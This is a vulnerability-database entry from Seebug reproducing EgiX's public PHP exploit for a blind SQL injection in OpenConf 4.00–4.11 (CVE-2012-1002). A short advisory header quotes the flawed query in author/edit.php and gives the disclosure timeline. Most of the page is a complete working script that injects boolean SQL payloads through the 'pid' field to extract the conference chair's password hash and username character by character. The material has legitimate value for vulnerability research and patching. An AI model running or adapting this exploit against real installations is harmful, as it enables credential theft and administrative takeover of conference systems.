Lucene search

K
seebugRootSSV:72849
HistoryJul 01, 2014 - 12:00 a.m.

OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit

2014-07-0100:00:00
Root
www.seebug.org
46

0.002 Low

EPSS

Percentile

55.1%

No description provided by source.


                                                &#60;?php

/*
  ---------------------------------------------------------------------
  OpenConf &#60;= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
  ---------------------------------------------------------------------
  
  author...............: Egidio Romano aka EgiX
  mail.................: n0b0d13s[at]gmail[dot]com
  software link........: http://www.openconf.com/
  affected versions....: from 4.00 to 4.11
  
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.    |
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
  
  [-] Vulnerable code in /author/edit.php:
  
  104.		// get sub
  105.		$anr = ocsql_query(&#34;SELECT * FROM `&#34; . OCC_TABLE_PAPER . &#34;` WHERE `paperid`=&#34; . safeSQLstr($_POST[&#39;pid&#39;])) ...
  106.		if (mysql_num_rows($anr) != 1) {
  107.			err(oc_(&#39;Submission ID or password entered is incorrect&#39;));
  108.		}
  109.		$_POST = array_merge($_POST, mysql_fetch_assoc($anr));
  
  User input passed through $_POST[&#39;pid&#39;] seems correctly sanitised by the safeSQLstr() function, but in the query
  at line 105,  single quotes aren&#39;t  used before  concatenate the user input  into the query string.  This can be
  exploited to conduct a  Blind SQL Injection  attack.  Successful exploitation of  this vulnerability requires at
  least a record into the &#39;paper&#39; table, and &#39;Edit Submission&#39; to be enabled.

  [-] Disclosure timeline:
  
  [27/01/2012] - Vulnerability discovered
  [01/02/2012] - Issue reported to bugs(at)openconf.com
  [02/02/2012] - Version 4.12 released: http://www.openconf.com/news/#20120202
  [02/02/2012] - CVE number requested
  [02/02/2012] - Assigned CVE-2012-1002
  [02/05/2012] - Public disclosure
  
*/

if (!extension_loaded(&#39;curl&#39;)) die(&#34;cURL extension required\n&#34;);

error_reporting(E_ERROR);
set_time_limit(0);

function http_get($page)
{
  global $ch, $argv;
	
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_GET, true);

  return curl_exec($ch);
}

function http_post($page, $data)
{	
  global $ch, $argv;
	
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

  return curl_exec($ch);
}

function hex_enc($sql)
{
  for ($i = 0, $n = strlen($sql); $i &#60; $n; $i++)
    $encoded .= dechex(ord($sql[$i]));
  return &#34;0x{$encoded}&#34;;
}

print &#34;\n+-------------------------------------------------------------+&#34;;
print &#34;\n| OpenConf &#60;= 4.11 Remote Blind SQL Injection Exploit by EgiX |&#34;;
print &#34;\n+-------------------------------------------------------------+\n&#34;;

if ($argc &#60; 2)
{
  print &#34;\nUsage......: php $argv[0] &#60;url&#62;\n&#34;;
  print &#34;\nExample....: php $argv[0] http://127.0.0.1/&#34;;
  print &#34;\nExample....: php $argv[0] http://localhost/openconf/\n&#34;;
  die();
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

if (!preg_match(&#39;/href=&#34;author\/edit.php&#34;/&#39;, http_get(&#39;openconf.php&#39;))) die(&#34;\n[-] Failed: submission edit disabled\n&#34;);

$index = 1;
$hash  = &#39;&#39;;
$chars = array_merge(range(48, 57), range(97, 102), array(0)); // 0-9 a-f

print &#34;\n[-] Chair password hash...: &#34;;

while (!strpos($hash,chr(0)))
{
  for ($i = 0, $n = count($chars); $i &#60;= $n; $i++)
  {
    if ($i == $n) die(&#34;\n[-] Exploit failed!\n&#34;);
    $sql = urlencode(&#34;-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=&#34;.hex_enc(&#34;OC_chair_pwd&#34;).&#34;) LIMIT 1#&#34;);
    if (preg_match(&#34;/is incorrect/&#34;, http_post(&#34;author/edit.php&#34;, &#34;ocaction=1&pid={$sql}&#34;))) { $hash .= chr($chars[$i]); print chr($chars[$i]); break; } 
  }
  $index++;
}

$index = 1;
$user  = &#39;&#39;;
$chars = array_merge(array(0), range(97, 172), array(95), range(48, 57)); // Any &#34;word&#34; character

print &#34;\n[-] Chair username........: &#34;;

while (!strpos($user,chr(0)))
{
  for ($i = 0, $n = count($chars); $i &#60;= $n; $i++)
  {
    if ($i == $n) die(&#34;\n[-] Exploit failed!\n&#34;);
    $sql = rawurlencode(&#34;-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=&#34;.hex_enc(&#34;OC_chair_uname&#34;).&#34;) LIMIT 1#&#34;);
    if (preg_match(&#34;/is incorrect/&#34;, http_post(&#34;author/edit.php&#34;, &#34;ocaction=1&pid={$sql}&#34;))) { $user .= chr($chars[$i]); print chr($chars[$i]); break; } 
  }
  $index++;
}
print &#34;\n&#34;;
?&#62;
                              

0.002 Low

EPSS

Percentile

55.1%